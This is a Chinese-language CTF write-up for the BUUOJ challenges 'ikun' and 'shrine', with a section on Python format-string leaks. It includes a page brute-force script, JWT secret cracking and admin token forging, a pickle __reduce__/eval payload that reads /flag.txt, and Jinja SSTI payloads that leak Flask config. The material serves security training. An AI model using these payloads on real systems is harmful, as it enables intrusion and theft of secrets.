- [CISCN2019 华北赛区 Day1 Web2]ikun
- [WesternCTF2018]shrine
- python格式化字符串漏洞
- CTF知识点总结摘录链接
https://buuoj.cn/challenges
打开后通过提示->寻找LV6->购买修改支付逻辑 ->绕过admin限制需修改jwt值->爆破jwt密匙 ->重组jwt值成为admin->购买进入会员中心 ->源码找到文件压缩源码->Python代码审计反序列化 ->构造读取flag代码进行序列化打印->提交获取
根据页面提示找lv6的页面
import requests
# url1 = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/shop"
# url2 = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/static/img/lv/lv3.png"
# url3 = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/shop?page=2"
for page in range(1, 1000):
url = "http://4962ecd0-10a5-44a7-a5fa-2beee956e21d.node4.buuoj.cn:81/shop?page=" + str(page)
# print(url)
res = requests.get(url).content.decode("utf-8")
if "lv6.png" in res:
print(url + 'yes')
else:
print(url + '|no')
发现自己的钱买不了那个东西。
修改页面源码的discount为很小的值点击结算,发现提示只有admin才能访问,判断是垂直越权。
垂直越权可以用cookie伪造,查看cookie发现有jwt。
JSON web Token (JSON web令牌)是一种跨域验证身份的方案。JWT不加密传输的数据,但能够通过数字签名来验证数掘未被篡改.
接下来https://github.com/brendan-rius/c-jwt-cracker爆破密匙,和https://jwt.io/解密jwt,然后构造admin的jwt。
新的页面查看源码获得提示,拿到压缩包,是python代码。
猜测是python反序列化,搜索pickle关键字,找到。
tornado框架,get_argument是tornado获取参数的方法,不区分get和post。
import requests
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
[WesternCTF2018]shrine
ssti
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
过滤(),config,self
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app']}}
/shrine/{{url_for.__globals__['current_app'].config}}
补充
__class__ 返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为__bases__ 以元组的形式返回一个类所直接继承的类。 __mro__ 返回解析方法调用的顺序。 __subclasses__() 获取类的所有子类。 __init__ 所有自带类都包含init方法。 __globals__ function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。
python格式化字符串漏洞
第一种
config = {'flag':'woaichixigua'}
class User(object):
def __init__(self, name):
self.name = name
user = User("jgc")
print('hello:{name}'.format(name='tom'))
print('hello:{name}'.format(name=user.__class__.__init__.__globals__))
print('hello:{name}'.format(name=user.__class__.__init__.__globals__['config']))
第二种
CTF知识点总结摘录链接https://www.cnblogs.com/iloveacm/category/1791836.html
源码泄露
https://www.cnblogs.com/xishaonian/p/7628153.html



